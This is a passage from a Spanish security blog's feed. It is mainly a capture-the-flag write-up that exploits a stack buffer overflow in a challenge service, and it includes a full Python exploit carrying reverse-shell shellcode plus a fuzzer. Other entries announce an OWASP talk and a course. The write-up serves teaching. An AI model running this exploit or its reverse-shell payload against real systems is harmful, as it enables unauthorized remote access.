scheme='http://www.blogger.com/atom/ns#' term='Offensive Security'/><title type='text'>Resolución 1er Reto How Strong Is Your Fu 2</title><content type='html'>Hola. &lt;br /&gt;&lt;br /&gt;El 19 de Junio pasado tuvo lugar el segundo "&lt;a href="http://www.offensive-security.com/offsec/cyber-hacking-challenge-2-hsiyf-for-charity/"&gt;How strong if your Fu&lt;/a&gt;", torneo de hacking organizado por los chicos de &lt;a href="http://www.offensive-security.com/"&gt;Offensive Security&lt;/a&gt;. Tuve la oportunidad de participar (haciendo team con &lt;a href="http://perusec.org/"&gt;Hackspy&lt;/a&gt;) y fue una experiencia bastante interesante. A diferencia de otros torneos, los de Offsec siempre son un tanto reales. (TRY HARDER !!)&lt;br /&gt;&lt;br /&gt;En este post describiré la solución del primer reto (Vuln). Primero delineo brevemente el escenario utilizando el lenguaje telegráfico:&lt;br /&gt;&lt;br /&gt;- VPN, 5 equipos&lt;br /&gt;- Puertos descubiertos en el primer equipo : 22, 80, 7500&lt;br /&gt;- Servidor Web lista un directorio con 2 archivos: vuln.c y vuln &lt;br /&gt;- Viendo el source, vuln abre el puerto 7500.&lt;br /&gt;- Funcion handle_reply() es vulnerable a buffer overflow.&lt;br /&gt;- A explotar !!!&lt;br /&gt;&lt;br /&gt;Todos los ficheros utilizados en este post pueden ser descargados &lt;a href="http://www.mediafire.com/download.php?8zb30m29ttm3209"&gt;aqui&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Dado que tenemos el fuente se hace fácil reconocer la cantidad de caracteres que permitirán el desbordamiento, sin embargo y para no perder la costumbre, escribimos un pequenho fuzzer.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_IhM_rPvn0ac/THstYGBXvkI/AAAAAAAAAIQ/F_yI97gwO6E/s1600/fuzzing.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="120" src="http://1.bp.blogspot.com/_IhM_rPvn0ac/THstYGBXvkI/AAAAAAAAAIQ/F_yI97gwO6E/s400/fuzzing.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Listo, al fuzzear vemos que alrededor de 280 bytes crean el desborde con su respectivo Segmentation Fault. Utilizando gdb para el debug, confirmamos que el registro EIP ha sido sobreescrito con el valor hexadecimal de "A" (41).&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_IhM_rPvn0ac/THsuJLdZ2II/AAAAAAAAAIY/iMgkcn9hLTM/s1600/Eip_Overwritten.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="296" src="http://3.bp.blogspot.com/_IhM_rPvn0ac/THsuJLdZ2II/AAAAAAAAAIY/iMgkcn9hLTM/s400/Eip_Overwritten.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Al analizar ESP vemos que también estamos en control de este registro. &lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_IhM_rPvn0ac/THsxr01NhxI/AAAAAAAAAJI/pNGPfhmc11w/s1600/esp.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="113" src="http://2.bp.blogspot.com/_IhM_rPvn0ac/THsxr01NhxI/AAAAAAAAAJI/pNGPfhmc11w/s640/esp.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Ahora es necesario descubrir exactamente cuáles son los 4 bytes que sobreescriben el EIP para poder tomar control del flujo del proceso. En este caso utilizaremos a metasploit, en específico, las herramientas pattern_create y pattern_offset. Pattern_create crea una cadena con caracteres no repetidos y de un tamanho a eleccion, en nuestro caso, 280. Utilizamos esa cadena para enviarla al soft vulnerable y una vez sobreescrito el EIP utilizamos la herramienta pattern_offset para descubrir exactamente cuáles son los bytes que escribieron sobre EIP. Veámoslo en imágenes:&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_IhM_rPvn0ac/THsuhEhSnKI/AAAAAAAAAIg/zue_qjxO_Zk/s1600/pattern_create.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="51" src="http://4.bp.blogspot.com/_IhM_rPvn0ac/THsuhEhSnKI/AAAAAAAAAIg/zue_qjxO_Zk/s640/pattern_create.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_IhM_rPvn0ac/THsuyj4WE2I/AAAAAAAAAIo/gUFcmm2IPZY/s1600/EIP_pattern.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="111" src="http://2.bp.blogspot.com/_IhM_rPvn0ac/THsuyj4WE2I/AAAAAAAAAIo/gUFcmm2IPZY/s400/EIP_pattern.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;EIP fue sobreescrito con 0x6a413969 y utilizamos estos caracteres como entrada de pattern_offset:&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_IhM_rPvn0ac/THsvN5uAQ_I/AAAAAAAAAIw/QK5sKj9Z95E/s1600/pattern_offset.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="32" src="http://1.bp.blogspot.com/_IhM_rPvn0ac/THsvN5uAQ_I/AAAAAAAAAIw/QK5sKj9Z95E/s400/pattern_offset.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Oka, ahora sabemos que a partir del byte 268 estamos sobreescribiendo el EIP. Otro problema: con que dirección sobreescribimos el registro EIP ? Sabemos que podemos controlar a ESP así que podemos poner la shellcode ahi y de alguna forma sobreescribir EIP para que "salte" a ESP (JMP ESP). Afortunadamente este ejecutable nos hace la vida más fácil dado que ya tiene una función jmp() que hace exactamente eso!&lt;br /&gt;&lt;br /&gt;&lt;pre style="background: url(&amp;quot;http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif&amp;quot;) repeat scroll 0% 0% rgb(240, 240, 240); border: 1px dashed rgb(204, 204, 204); color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"&gt;&lt;code style="color: black; word-wrap: normal;"&gt; int jmp(void){  &lt;br /&gt; __asm__("jmp %esp");  &lt;br /&gt; return 0;  &lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Lo que tenemos que hacer ahora es encontrar la dirección de memoria con el buen gdb.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_IhM_rPvn0ac/THsvwHoMNRI/AAAAAAAAAI4/At7ueyk4l5M/s1600/disasJmp.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="191" src="http://2.bp.blogspot.com/_IhM_rPvn0ac/THsvwHoMNRI/AAAAAAAAAI4/At7ueyk4l5M/s400/disasJmp.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Tenemos la dirección de la intrucción JMP ESP (0x08048703). Ya podemos empezar a crear el exploit y el buffer que enviaremos se verá algo asi:&lt;br /&gt;&lt;br /&gt;&lt;pre style="background: url(&amp;quot;http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif&amp;quot;) repeat scroll 0% 0% rgb(240, 240, 240); border: 1px dashed rgb(204, 204, 204); color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"&gt;&lt;code style="color: black; word-wrap: normal;"&gt;   buffer= "A"*268 +  &lt;br /&gt;   "\x03\x87\x04\x08" #JMP ESP  &lt;br /&gt;   + shellcode       #Payload a elegir&amp;nbsp; &lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Por último, debemos elegir el payload. Metasploit nos ayuda una vez más con la herramienta msfpayload que permite generar shellcodes con distinto payload: conseguir shell, shell reversa, meterpreter reverso, etc, etc, etc. En este caso yo elegiré una shell reversa hacia el puerto 4444 :&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_IhM_rPvn0ac/THs3-ON6FmI/AAAAAAAAAJY/nlelhoAaEKA/s1600/msfpayloadXXXX.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="126" src="http://4.bp.blogspot.com/_IhM_rPvn0ac/THs3-ON6FmI/AAAAAAAAAJY/nlelhoAaEKA/s400/msfpayloadXXXX.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Ahora todo listo, escribimos el exploit correspondiente y antes de ejecutarlo abrimos el puerto 4444 con netcat.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_IhM_rPvn0ac/THs1IOG1jOI/AAAAAAAAAJQ/sLkKHLspJss/s1600/owned.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="258" src="http://3.bp.blogspot.com/_IhM_rPvn0ac/THs1IOG1jOI/AAAAAAAAAJQ/sLkKHLspJss/s400/owned.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Voila!&lt;br /&gt;&lt;br /&gt;Happy Hacking&lt;br /&gt;&lt;br /&gt;Mvelazco&lt;br /&gt;&lt;br /&gt;&lt;pre style="background: url(&amp;quot;http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif&amp;quot;) repeat scroll 0% 0% rgb(240, 240, 240); border: 1px dashed rgb(204, 204, 204); color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"&gt;&lt;code style="color: black; word-wrap: normal;"&gt; ################################  &lt;br /&gt; #coded by mvelazco  &lt;br /&gt; #http://ehopen-sec.blogspot.com/  &lt;br /&gt; #mvelazco at open-sec.com  &lt;br /&gt; ################################  &lt;br /&gt; import socket  &lt;br /&gt; import struct  &lt;br /&gt; s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)  &lt;br /&gt; print "\nSending buffer..."  &lt;br /&gt; s.connect(('127.0.0.1',7500))  &lt;br /&gt; # Reverse shell port 4444 by metasploit  &lt;br /&gt; shellcode=("\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80"  &lt;br /&gt; "\x5b\x5e\x68\xc0\xa8\x28\x69\x66\x68\x11\x5c\x66\x53\x6a\x10"  &lt;br /&gt; "\x51\x50\x89\xe1\x43\x6a\x66\x58\xcd\x80\x59\x87\xd9\xb0\x3f"  &lt;br /&gt; "\xcd\x80\x49\x79\xf9\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"  &lt;br /&gt; "\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"  &lt;br /&gt; )  &lt;br /&gt; buffer="A"*268  &lt;br /&gt; ret= "\x03\x87\x04\x08"  &lt;br /&gt; buffer+=ret + "\x90"*0 + shellcode  &lt;br /&gt; s.send(str(buffer) + '\r\n')  &lt;br /&gt; s.close()  &lt;br /&gt; print "EXPLOITATION DONE"  &lt;br /&gt; print "HAVE A NICE DAY :P"  &lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre style="background: url(&amp;quot;http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif&amp;quot;) repeat scroll 0% 0% rgb(240, 240, 240); border: 1px dashed rgb(204, 204, 204); color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"&gt;&lt;code style="color: black; word-wrap: normal;"&gt; #coded by mvelazco  &lt;br /&gt; #http://ehopen-sec.blogspot.com/  &lt;br /&gt; #mvelazco at open-sec.com  &lt;br /&gt; import socket  &lt;br /&gt; import time  &lt;br /&gt; buffer='\x41'*40  &lt;br /&gt; while len(buffer)&amp;lt;10000:  &lt;br /&gt;   s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)  &lt;br /&gt;   try:  &lt;br /&gt;     s.connect(('127.0.0.1',7500))  &lt;br /&gt;     print "fuzzing with "+ str(len(buffer)) + " bytes"  &lt;br /&gt;     s.send(buffer + '\r\n')  &lt;br /&gt;     buffer+='\x41'*50  &lt;br /&gt;     s.close()  &lt;br /&gt;   except:  &lt;br /&gt;     print "Crashed!!"  &lt;br /&gt;     break  &lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1142420473059173802-7849772293455043992?l=ehopen-sec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ehopen-sec.blogspot.com/feeds/7849772293455043992/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://ehopen-sec.blogspot.com/2010/08/buffer-overflow-offensive-security.html#comment-form' title='3 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1142420473059173802/posts/default/7849772293455043992'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1142420473059173802/posts/default/7849772293455043992'/><link rel='alternate' type='text/html' href='http://ehopen-sec.blogspot.com/2010/08/buffer-overflow-offensive-security.html' title='Resolución 1er Reto How Strong Is Your Fu 2'/><author><name>Open-Sec</name><uri>http://www.blogger.com/profile/12321871096900747631</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='27' src='http://3.bp.blogspot.com/_IhM_rPvn0ac/S3lr4XtO6HI/AAAAAAAAAFI/ga7qLaDmumY/S220/Imagen2009.jpeg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_IhM_rPvn0ac/THstYGBXvkI/AAAAAAAAAIQ/F_yI97gwO6E/s72-c/fuzzing.png' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1142420473059173802.post-7036745972006749198</id><published>2010-08-23T11:31:00.001-05:00</published><updated>2010-08-23T11:34:17.937-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Web'/><category scheme='http://www.blogger.com/atom/ns#' term='OWASP'/><category scheme='http://www.blogger.com/atom/ns#' term='OWASP Peru'/><title type='text'>Seguridad en aplicaciones web bajo OWASP @ ISACA</title><content type='html'>Gracias a Wikipedia:&lt;br /&gt;&lt;blockquote&gt;&lt;b&gt;OWASP&lt;/b&gt; (&lt;i&gt;Open Web Application Security Project&lt;/i&gt;) es un proyecto de código abierto dedicado a determinar y combatir las causas que hacen que el software sea inseguro. La  comunidad OWASP está formada por empresas, organizaciones educativas y  particulares de todo mundo. Juntos constituyen una comunidad de  seguridad informática que trabaja para crear artículos, metodologías,  documentación, herramientas y tecnologías que se liberan y pueden ser  usadas gratuitamente por cualquiera.&lt;/blockquote&gt;&lt;br /&gt;Ya desde principios de este año, el capítulo &lt;a href="http://www.owasp.org/index.php?title=Peru"&gt;peruano de OWASP&lt;/a&gt; se estuvo organizando y tuvimos las primeras reuniones. Este martes 24 de Agosto se tendrá la primera presentación de OWASP Perú en la &lt;a href="http://www.isaca.org.pe/index.php/home/61-conferencia-seguridad-en-aplicaciones-web-bajo-owasp.html"&gt;reunión mensual de ISACA.&lt;/a&gt; Les dejo los detalles, nos vemos ahi:&lt;br /&gt;&lt;br /&gt;Saludos,&lt;br /&gt;MVelazco.&lt;br /&gt;&lt;br /&gt;Objetivos:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Conocer el marco normativo para el desarrollo e implementación de aplicaciones web seguras.&lt;/li&gt;&lt;li&gt;Mostrar algunas técnicas para el diseño, desarrollo&amp;nbsp;e implementación de aplicaciones web seguras. &lt;/li&gt;&lt;/ul&gt;Expositores de OWASP Lima:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;John Vargas Pérez, Consultor de Seguridad Informática, Visiontech del Perú.&lt;/li&gt;&lt;li&gt;Rolando Antón Huerta, Ingeniero de Soporte, ETEK Internacional.&lt;/li&gt;&lt;li&gt;Mauricio Velazco Corrales, Consultor de&amp;nbsp;Seguridad Informática, OpenSec.&lt;/li&gt;&lt;li&gt;Ricardo Supo Picón, Chief Technology Officer, LimaSoft Seguridad Informática&lt;/li&gt;&lt;/ul&gt;Fecha:&amp;nbsp;Martes&amp;nbsp;24 de agosto, de 7 a 9 pm.&lt;br /&gt;Lugar: Hotel José Antonio, Miraflores&lt;br /&gt;&lt;b&gt;Informes e Inscripciones:&lt;/b&gt;&lt;br /&gt;&lt;b&gt;Tel. 225-9342 - eMail: &lt;/b&gt;&lt;a href="mailto:%20%3Cscript%20language=%27JavaScript%27%20type=%27text/javascript%27%3E%20%3C%21--%20var%20prefix%20=%20%27ma%27%20+%20%27il%27%20+%20%27to%27;%20var%20path%20=%20%27hr%27%20+%20%27ef%27%20+%20%27=%27;%20var%20addy39004%20=%20%27informacion%27%20+%20%27@%27;%20addy39004%20=%20addy39004%20+%20%27isaca%27%20+%20%27.%27%20+%20%27org%27%20+%20%27.%27%20+%20%27pe%27;%20document.write%28%20%27%3Ca%20%27%20+%20path%20+%20%27%5C%27%27%20+%20prefix%20+%20%27:%27%20+%20addy39004%20+%20%27%5C%27%3E%27%20%29;%20document.write%28%20addy39004%20%29;%20document.write%28%20%27%3C%5C/a%3E%27%20%29;%20//--%3E%5Cn%20%3C/script%3E%20%3Cscript%20language=%27JavaScript%27%20type=%27text/javascript%27%3E%20%3C%21--%20document.write%28%20%27%3Cspan%20style=%5C%27display:%20none;%5C%27%3E%27%20%29;%20//--%3E%20%3C/script%3EEsta%20direcci%C3%B3n%20electr%C3%B3nica%20esta%20protegida%20contra%20spam%20bots.%20Necesita%20activar%20JavaScript%20para%20visualizarla%20%3Cscript%20language=%27JavaScript%27%20type=%27text/javascript%27%3E%20%3C%21--%20document.write%28%20%27%3C/%27%20%29;%20document.write%28%20%27span%3E%27%20%29;%20//--%3E%20%3C/script%3E"&gt;&lt;b&gt;  &lt;script language="JavaScript" type="text/javascript"&gt; &lt;!-- var prefix = '&amp;#109;a' + 'i&amp;#108;' + '&amp;#116;o'; var path = 'hr' + 'ef' + '='; var addy93434 = '&amp;#105;nf&amp;#111;rm&amp;#97;c&amp;#105;&amp;#111;n' + '&amp;#64;'; addy93434 = addy93434 + '&amp;#105;s&amp;#97;c&amp;#97;' + '&amp;#46;' + '&amp;#111;rg' + '&amp;#46;' + 'p&amp;#101;'; document.write( '&lt;a ' + path + '\'' + prefix + ':' + addy93434 + '\'&gt;' ); document.write( addy93434 ); document.write( '&lt;\/a&gt;' ); //--&gt;\n &lt;/script&gt;&lt;/b&gt;&lt;/a&gt;&lt;b&gt;&lt;a href="mailto:informacion@isaca.org.pe"&gt;informacion@isaca.org.pe&lt;/a&gt; &lt;script language="JavaScript" type="text/javascript"&gt; &lt;!-- document.write( '&lt;span style=\'display: none;\'&gt;' ); //--&gt; &lt;/script&gt;&lt;span style="display: none;"&gt;Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla  &lt;script language="JavaScript" type="text/javascript"&gt; &lt;!-- document.write( '&lt;/' ); document.write( 'span&gt;' ); //--&gt; &lt;/script&gt;&lt;/span&gt;&lt;/b&gt;&lt;b&gt;&amp;nbsp;- Contacto administrativo: Srta. Mabel Gil&lt;/b&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1142420473059173802-7036745972006749198?l=ehopen-sec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ehopen-sec.blogspot.com/feeds/7036745972006749198/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://ehopen-sec.blogspot.com/2010/08/seguridad-en-aplicaciones-web-bajo.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1142420473059173802/posts/default/7036745972006749198'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1142420473059173802/posts/default/7036745972006749198'/><link rel='alternate' type='text/html' href='http://ehopen-sec.blogspot.com/2010/08/seguridad-en-aplicaciones-web-bajo.html' title='Seguridad en aplicaciones web bajo OWASP @ ISACA'/><author><name>Open-Sec</name><uri>http://www.blogger.com/profile/12321871096900747631</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='27' src='http://3.bp.blogspot.com/_IhM_rPvn0ac/S3lr4XtO6HI/AAAAAAAAAFI/ga7qLaDmumY/S220/Imagen2009.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1142420473059173802.post-1450201255547740244</id><published>2010-07-21T12:04:00.002-05:00</published><updated>2010-07-21T12:08:26.330-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='OSEH'/><category scheme='http://www.blogger.com/atom/ns#' term='Open Sec Ethical Hacker'/><title type='text'>OSEH en Tarapoto</title><content type='html'>Hace unos meses recibí una invitación de la universidad César Vallejo para dictar el curso &lt;a href="http://www.open-sec.com/oseh/oseh.html"&gt;Open-Sec Ethical Hacker&lt;/a&gt; (http://www.open-sec.com/oseh/oseh.html) en la calurosa ciudad Tarapoto. &lt;br /&gt;&lt;br /&gt;Terminado el curso se organizó un seminario en donde se conversó de algunos temas de hacking (para variar) y además compartí la exposición con Felipe Gonzáles, un estudiante de la universidad que dió una interesante charla sobre el análisis de malware.&lt;br /&gt;&lt;br /&gt;Siempre es interesante encontrar personas inquietadas por estos temas que muchas veces nos quitan el sueño.&lt;br /&gt;&lt;br /&gt;Les dejo algunas fotos,&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;MVelazco.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_IhM_rPvn0ac/TEcnLxC2LfI/AAAAAAAAAHo/Tb6q1gQlh4E/s1600/IMG_1954.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="300" src="http://3.bp.blogspot.com/_IhM_rPvn0ac/TEcnLxC2LfI/AAAAAAAAAHo/Tb6q1gQlh4E/s400/IMG_1954.JPG" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_IhM_rPvn0ac/TEcnejVtHDI/AAAAAAAAAHw/ibJxmODOTuk/s1600/IMG_1956.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="300" src="http://1.bp.blogspot.com/_IhM_rPvn0ac/TEcnejVtHDI/AAAAAAAAAHw/ibJxmODOTuk/s400/IMG_1956.JPG" width="400" /&gt;&lt;/a&gt;&lt;a href="http://4.bp.blogspot.com/_IhM_rPvn0ac/TEcoFmaY_gI/AAAAAAAAAIA/WFA-EDbGIgc/s1600/IMG_1959.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="300" src="http://4.bp.blogspot.com/_IhM_rPvn0ac/TEcoFmaY_gI/AAAAAAAAAIA/WFA-EDbGIgc/s400/IMG_1959.JPG" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_IhM_rPvn0ac/TEcnqdj6qdI/AAAAAAAAAH4/tG5fJ-Dbpmo/s1600/IMG_1958.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="300" src="http://1.bp.blogspot.com/_IhM_rPvn0ac/TEcnqdj6qdI/AAAAAAAAAH4/tG5fJ-Dbpmo/s400/IMG_1958.JPG" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1142420473059173802-1450201255547740244?l=ehopen-sec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ehopen-sec.blogspot.com/feeds/1450201255547740244/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://ehopen-sec.blogspot.com/2010/07/oseh-en-tarapoto.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1142420473059173802/posts/default/1450201255547740244'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1142420473059173802/posts/default/1450201255547740244'/><link rel='alternate' type='text/html' href='http://ehopen-sec.blogspot.com/2010/07/oseh-en-tarapoto.html' title='OSEH en Tarapoto'/><author><name>Open-Sec</name><uri>http://www.blogger.com/profile/12321871096900747631</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='27' src='http://3.bp.blogspot.com/_IhM_rPvn0ac/S3lr4XtO6HI/AAAAAAAAAFI/ga7qLaDmumY/S220/Imagen2009.jpeg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_IhM_rPvn0ac/TEcnLxC2LfI/AAAAAAAAAHo/Tb6q1gQlh4E/s72-c/IMG_1954.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1142420473059173802.post-1908275207634367179</id><published>2010-06-23T03:09:00.000-05:00</published><updated>2010-06-23T03:09:33.035-05:00</updated><title type='text'>Más Certificaciones! Offensive Security Certified Professional = Cesar Cuadra Pacheco</title><content type='html'>Cada logro personal de un consultor en Open-Sec es recibido con mucho entusiasmo por todos nosotros y al logro reciente de Mauricio Velazco con al certificación de C|EH, hoy (ayer) debemos sumar el logro de Cesar Cuadra al haber obtenido la certificación de OSCP : Offensive Security Certified Professional.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_IhM_rPvn0ac/TCHAauR0U8I/AAAAAAAAAHg/1ZRe97xnH2Q/s1600/oscp.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_IhM_rPvn0ac/TCHAauR0U8I/AAAAAAAAAHg/1ZRe97xnH2Q/s320/oscp.png" /&gt;&lt;/a&gt;&lt;/div&gt;Para los que no conocen esta certificación, es sumamente reconocida en el mundo de los hackers y ha sido creada y es manejada por los mismos creadores de BackTrack.&lt;br /&gt;El examen no es convencional, es un Capture the Flag completo.&amp;nbsp; A Cesar le tocó entrar a un entorno real y vulnerar la seguridad de servicios para obtener trofeos a partir de ello y asi poder demostrar su capacidad en labores de ethical hacking en un lapso de 24 horas.&amp;nbsp; Alcanzó el puntaje perfecto de 100 puntos!!!&lt;br /&gt;Definitivamente, Cesar es uno de los mejores hackers éticos que existen en nuestro país.&lt;br /&gt;FELICITACIONES CESAR!!!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1142420473059173802-1908275207634367179?l=ehopen-sec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ehopen-sec.blogspot.com/feeds/1908275207634367179/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://ehopen-sec.blogspot.com/2010/06/mas-certificaciones-offensive-security.html#comment-form' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1142420473059173802/posts/default/1908275207634367179'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1142420473059173802/posts/default/1908275207634367179'/><link rel='alternate' type='text/html' href='http://ehopen-sec.blogspot.com/2010/06/mas-certificaciones-offensive-security.html' title='Más Certificaciones! Offensive Security Certified Professional = Cesar Cuadra Pacheco'/><author><name>Open-Sec</name><uri>http://www.blogger.com/profile/12321871096900747631</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='27' src='http://3.bp.blogspot.com/_IhM_rPvn0ac/S3lr4XtO6HI/AAAAAAAAAFI/ga7qLaDmumY/S220/Imagen2009.jpeg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_IhM_rPvn0ac/TCHAauR0U8I/AAAAAAAAAHg/1ZRe97xnH2Q/s72-c/oscp.png' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1142420473059173802.post-6861116071160018289</id><published>2010-06-11T12:11:00.000-05:00</published><updated>2010-06-11T12:11:47.575-05:00</updated><title type='text'>Open-Sec Ecuador nombrado 